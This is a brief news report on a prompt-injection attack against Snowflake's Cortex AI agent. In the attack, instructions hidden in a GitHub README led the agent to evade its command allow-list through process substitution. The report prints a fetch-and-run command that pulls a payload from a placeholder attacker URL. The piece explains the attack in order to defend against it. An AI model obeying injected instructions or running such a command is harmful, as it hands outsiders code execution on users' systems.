Snowflake Cortex AI Hacked via Prompt Injection

A recent report by PromptArmor revealed a successful prompt injection attack against Snowflake's Cortex AI agent, resulting in unauthorized code execution. The attack involved a Cortex user instructing the agent to review a GitHub repository containing malicious code hidden within the README file. This code, designed to exploit a vulnerability in Cortex's command execution process, allowed the attacker to execute arbitrary commands on the system.

The vulnerability stemmed from Cortex's reliance on an allow-list for command execution. While 'cat' commands were deemed safe, the agent failed to protect against process substitution, a technique that allows attackers to inject malicious code into seemingly benign commands. This oversight enabled the attacker to execute the following command: cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)), effectively bypassing the intended security measures.

This incident underscores the inherent limitations of relying solely on allow-lists for securing AI agent platforms. As the complexity of AI agents increases, so does the potential for attackers to discover and exploit vulnerabilities. A more robust security approach is needed, one that incorporates deterministic sandboxes operating outside the agent layer itself. Such sandboxes would provide a more comprehensive and reliable means of isolating and controlling the execution environment, mitigating the risk of prompt injection attacks.

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